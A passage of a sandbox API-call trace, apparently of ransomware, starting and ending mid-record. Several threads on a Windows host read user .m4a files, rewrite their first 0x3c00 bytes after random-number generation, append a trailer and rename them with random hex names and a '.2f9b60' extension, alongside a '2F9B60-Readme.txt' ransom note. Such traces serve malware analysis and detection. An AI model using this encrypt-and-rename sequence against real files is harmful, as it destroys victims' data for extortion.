Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x7330b0e0 [0103.638] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.639] ReadFile (in: hFile=0x17a0, lpBuffer=0x41edb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f8dfa00, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesRead=0x2f8dfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0103.639] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0103.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0103.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0103.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41edf0f0 [0103.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0103.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0103.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0103.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.640] WriteFile (in: hFile=0x17a0, lpBuffer=0x41edf0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f8dfa00, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesWritten=0x2f8dfa00*=0x3c00, lpOverlapped=0x0) returned 1 [0104.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0104.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0104.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f6b0 [0104.068] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.068] WriteFile (in: hFile=0x17a0, lpBuffer=0x4205a410*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f8dfab0, lpOverlapped=0x0 | out: lpBuffer=0x4205a410*, lpNumberOfBytesWritten=0x2f8dfab0*=0x114, lpOverlapped=0x0) returned 1 [0104.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0104.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0104.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b860600 [0104.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0104.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0104.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0104.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97580 [0104.185] sprintf (in: _Dest=0x1cd97580, _Format="%c%c" | out: _Dest="85") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97582, _Format="%c%c" | out: _Dest="1f") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97584, _Format="%c%c" | out: _Dest="60") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97586, _Format="%c%c" | out: _Dest="a3") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97588, _Format="%c%c" | out: _Dest="95") returned 2 [0104.185] sprintf (in: _Dest=0x1cd9758a, _Format="%c%c" | out: _Dest="7d") returned 2 [0104.185] sprintf (in: _Dest=0x1cd9758c, _Format="%c%c" | out: _Dest="6d") returned 2 [0104.185] sprintf (in: _Dest=0x1cd9758e, _Format="%c%c" | out: _Dest="6f") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97590, _Format="%c%c" | out: _Dest="7b") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97592, _Format="%c%c" | out: _Dest="54") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97594, _Format="%c%c" | out: _Dest="32") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97596, _Format="%c%c" | out: _Dest="d4") returned 2 [0104.185] sprintf (in: _Dest=0x1cd97598, _Format="%c%c" | out: _Dest="ae") returned 2 [0104.185] sprintf (in: _Dest=0x1cd9759a, _Format="%c%c" | out: _Dest="99") returned 2 [0104.185] sprintf (in: _Dest=0x1cd9759c, _Format="%c%c" | out: _Dest="1a") returned 2 [0104.185] sprintf (in: _Dest=0x1cd9759e, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975a0, _Format="%c%c" | out: _Dest="99") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975a2, _Format="%c%c" | out: _Dest="e8") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975a4, _Format="%c%c" | out: _Dest="55") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975a6, _Format="%c%c" | out: _Dest="d6") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975a8, _Format="%c%c" | out: _Dest="da") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975aa, _Format="%c%c" | out: _Dest="81") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975ac, _Format="%c%c" | out: _Dest="ef") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975ae, _Format="%c%c" | out: _Dest="c2") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975b0, _Format="%c%c" | out: _Dest="4e") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975b2, _Format="%c%c" | out: _Dest="a2") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975b4, _Format="%c%c" | out: _Dest="52") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975b6, _Format="%c%c" | out: _Dest="18") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975b8, _Format="%c%c" | out: _Dest="9b") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975ba, _Format="%c%c" | out: _Dest="6c") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975bc, _Format="%c%c" | out: _Dest="cd") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975be, _Format="%c%c" | out: _Dest="1a") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975c0, _Format="%c%c" | out: _Dest="da") returned 2 [0104.186] sprintf (in: _Dest=0x1cd975c2, _Format="%c%c" | out: _Dest="63") returned 2 [0104.186] RtlInitAnsiString (in: DestinationString=0x2f8dfb28, SourceString="851f60a3957d6d6f7b5432d4ae991ae699e855d6da81efc24ea252189b6ccd1ada63" | out: DestinationString="851f60a3957d6d6f7b5432d4ae991ae699e855d6da81efc24ea252189b6ccd1ada63") [0104.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f8dfaf8, SourceString="851f60a3957d6d6f7b5432d4ae991ae699e855d6da81efc24ea252189b6ccd1ada63", AllocateDestinationString=1 | out: DestinationString="851f60a3957d6d6f7b5432d4ae991ae699e855d6da81efc24ea252189b6ccd1ada63") returned 0x0 [0104.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205deb0 [0104.187] wcscat (in: _Dest=0x4205de10, _Source="851f60a3957d6d6f7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\851f60a3957d6d6f7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\851f60a3957d6d6f7" [0104.187] wcscat (in: _Dest=0x4205de10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\851f60a3957d6d6f7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\851f60a3957d6d6f7.2f9b60" [0104.187] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\851f60a3957d6d6f7.2f9b60", NtPathName=0x2f8dfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\851f60a3957d6d6f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202792b0 [0104.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0104.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99020) returned 1 [0104.546] NtQueryInformationFile (in: FileHandle=0x17a0, IoStatusBlock=0x2f8dfb38, FileInformation=0x2f8dfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f8dfb38, FileInformation=0x2f8dfb48) returned 0x0 [0104.547] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x2f8dfb38, FileInformation=0x2f8dfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205de10) returned 1 [0104.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205deb0) returned 1 [0104.548] FlushFileBuffers (hFile=0x17a0) returned 1 [0104.625] CloseHandle (hObject=0x17a0) returned 1 [0104.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4ec0 [0104.626] wcscpy (in: _Dest=0x202a4ec0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.626] wcscat (in: _Dest=0x202a4ec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.626] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 [0104.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4fe0) returned 1 Thread: id = 945 os_tid = 0x156c [0101.241] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJNd-6JE.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rjnd-6je.m4a")) returned 0x2020 [0101.241] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJNd-6JE.m4a", dwFileAttributes=0x20) returned 1 [0103.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJNd-6JE.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rjnd-6je.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a4 [0103.679] GetFileSizeEx (in: hFile=0x17a4, lpFileSize=0x2f7afb20 | out: lpFileSize=0x2f7afb20*=56202) returned 1 [0103.679] SetFilePointerEx (in: hFile=0x17a4, liDistanceToMove=0xdb86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.679] ReadFile (in: hFile=0x17a4, lpBuffer=0x2f7afaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f7afae8, lpOverlapped=0x0 | out: lpBuffer=0x2f7afaa0*, lpNumberOfBytesRead=0x2f7afae8*=0x4, lpOverlapped=0x0) returned 1 [0103.679] SetFilePointerEx (in: hFile=0x17a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0103.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0103.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.680] NtQuerySystemTime (in: CurrentTime=0x2f7af9e0 | out: CurrentTime=0x2f7af9e0*=132462177091918000) returned 0x0 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x17ddf8ef [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x77901cd2 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x890b28b [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x7826fe4f [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x36df3955 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x696a13f9 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x93d70d7 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x3ceafc0b [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x65e48151 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x7ccc3ed4 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x11f69442 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x1e3a6c98 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x34ef12b4 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x7e039019 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x6bb7ddb9 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x6473ab94 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x71a3637c [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x262b4bbd [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x5d09f4c1 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x77c8beb7 [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x32292fec [0103.680] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x7c5e1ad1 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x7aa46a30 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x7cdb0468 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x31c2d42f [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x702cda37 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x31c0a9af [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x13e296d5 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x77f627df [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x4a3f5486 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x20d19282 [0103.681] RtlRandomEx (in: Seed=0x2f7af9d0 | out: Seed=0x2f7af9d0) returned 0x1a1164c7 [0103.691] SetFilePointerEx (in: hFile=0x17a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.691] ReadFile (in: hFile=0x17a4, lpBuffer=0x41efd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f7afa40, lpOverlapped=0x0 | out: lpBuffer=0x41efd170*, lpNumberOfBytesRead=0x2f7afa40*=0x3c00, lpOverlapped=0x0) returned 1 [0103.691] SetFilePointerEx (in: hFile=0x17a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0103.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0103.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0103.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0103.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f00d80 [0103.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0103.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860000) returned 1 [0103.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0103.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0103.692] WriteFile (in: hFile=0x17a4, lpBuffer=0x41f00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f7afa40, lpOverlapped=0x0 | out: lpBuffer=0x41f00d80*, lpNumberOfBytesWritten=0x2f7afa40*=0x3c00, lpOverlapped=0x0) returned 1 [0104.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f00d80) returned 1 [0104.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41efd170) returned 1 [0104.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262f30 [0104.085] SetFilePointerEx (in: hFile=0x17a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.086] WriteFile (in: hFile=0x17a4, lpBuffer=0x4205a2f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f7afaf0, lpOverlapped=0x0 | out: lpBuffer=0x4205a2f0*, lpNumberOfBytesWritten=0x2f7afaf0*=0x10a, lpOverlapped=0x0) returned 1 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0104.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0104.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0104.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f6b0 [0104.223] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="47") returned 2 [0104.223] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="36") returned 2 [0104.223] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="08") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="96") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="76") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="d4") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="94") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="42") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="9a") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="6a") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="00") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="dd") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="b5") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="59") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="9b") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="4b") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="95") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="e5") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="17") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="27") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="a6") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="93") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6dc, _Format="%c%c" | out: _Dest="a5") returned 2 [0104.224] sprintf (in: _Dest=0x1cd9f6de, _Format="%c%c" | out: _Dest="d5") returned 2 [0104.224] RtlInitAnsiString (in: DestinationString=0x2f7afb68, SourceString="4736089676d494429a6a00ddb5599b4b95e51727a693a5d5" | out: DestinationString="4736089676d494429a6a00ddb5599b4b95e51727a693a5d5") [0104.224] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f7afb38, SourceString="4736089676d494429a6a00ddb5599b4b95e51727a693a5d5", AllocateDestinationString=1 | out: DestinationString="4736089676d494429a6a00ddb5599b4b95e51727a693a5d5") returned 0x0 [0104.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5e80 [0104.225] wcscat (in: _Dest=0x2050ad10, _Source="4736089676d4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\4736089676d4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\4736089676d4" [0104.225] wcscat (in: _Dest=0x2050ad10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\4736089676d4.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\4736089676d4.2f9b60" [0104.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\4736089676d4.2f9b60", NtPathName=0x2f7afb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\4736089676d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x205020e0 [0104.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205020e0) returned 1 [0104.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b550) returned 1 [0104.548] NtQueryInformationFile (in: FileHandle=0x17a4, IoStatusBlock=0x2f7afb78, FileInformation=0x2f7afb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f7afb78, FileInformation=0x2f7afb88) returned 0x0 [0104.548] NtSetInformationFile (FileHandle=0x17a4, IoStatusBlock=0x2f7afb78, FileInformation=0x2f7afb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ad10) returned 1 [0104.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5e80) returned 1 [0104.558] FlushFileBuffers (hFile=0x17a4) returned 1 [0104.560] CloseHandle (hObject=0x17a4) returned 1 [0104.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050ae30 [0104.569] wcscpy (in: _Dest=0x2050ae30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.570] wcscat (in: _Dest=0x2050ae30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.570] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ae30) returned 1 [0104.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 Thread: id = 946 os_tid = 0x1570 [0101.242] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UG64tpJ-12yB4YY3qric.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ug64tpj-12yb4yy3qric.m4a")) returned 0x2020 [0101.242] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UG64tpJ-12yB4YY3qric.m4a", dwFileAttributes=0x20) returned 1 [0103.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UG64tpJ-12yB4YY3qric.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ug64tpj-12yb4yy3qric.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17ac [0103.722] GetFileSizeEx (in: hFile=0x17ac, lpFileSize=0x2fa7f860 | out: lpFileSize=0x2fa7f860*=49522) returned 1 [0103.722] 